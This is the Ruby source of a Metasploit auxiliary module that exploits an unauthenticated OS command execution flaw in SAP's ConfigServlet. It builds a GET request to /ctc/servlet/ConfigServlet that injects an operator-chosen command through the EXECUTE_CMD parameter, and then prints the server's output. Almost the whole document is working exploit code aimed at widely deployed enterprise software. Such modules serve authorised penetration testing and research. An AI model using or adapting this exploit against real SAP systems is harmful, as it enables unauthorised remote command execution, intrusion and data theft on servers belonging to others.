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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'SAP ConfigServlet OS Command Execution',
'Description' => %q{
This module allows execution of operating system commands through the SAP
ConfigServlet without any authentication.
},
'Author' =>
[
'Dmitry Chastuhin', # Vulnerability discovery (based on the reference presentation)
'Andras Kabai' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'OSVDB', '92704' ],
[ 'EDB', '24963' ],
[ 'URL', 'http://erpscan.com/wp-content/uploads/2012/11/Breaking-SAP-Portal-HackerHalted-2012.pdf']
],
'DisclosureDate' => 'Nov 01 2012' # Based on the reference presentation
))
register_options(
[
Opt::RPORT(50000),
OptString.new('CMD', [ true, 'The command to execute', 'whoami']),
OptString.new('TARGETURI', [ true, 'Path to ConfigServlet', '/ctc/servlet'])
])
end
def run
begin
print_status("#{rhost}:#{rport} - Sending remote command: " + datastore['CMD'])
uri = normalize_uri(target_uri.path, 'ConfigServlet')
res = send_request_cgi(
{
'uri' => uri,
'method' => 'GET',
'query' => 'param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=' + Rex::Text::uri_encode(datastore['CMD'])
})
if !res or res.code != 200
print_error("#{rhost}:#{rport} - Exploit failed")
return
end
rescue ::Rex::ConnectionError
print_error("#{rhost}:#{rport} - Failed to connect to the server")
return
end
if res.body.include?("Process created")
print_good("#{rhost}:#{rport} - Exploited successfully\n")
print_line("#{rhost}:#{rport} - Command: #{datastore['CMD']}\n")
print_line("#{rhost}:#{rport} - Output: #{res.body}")
else
print_error("#{rhost}:#{rport} - Exploit failed")
vprint_error("#{rhost}:#{rport} - Output: #{res.body}")
end
end
end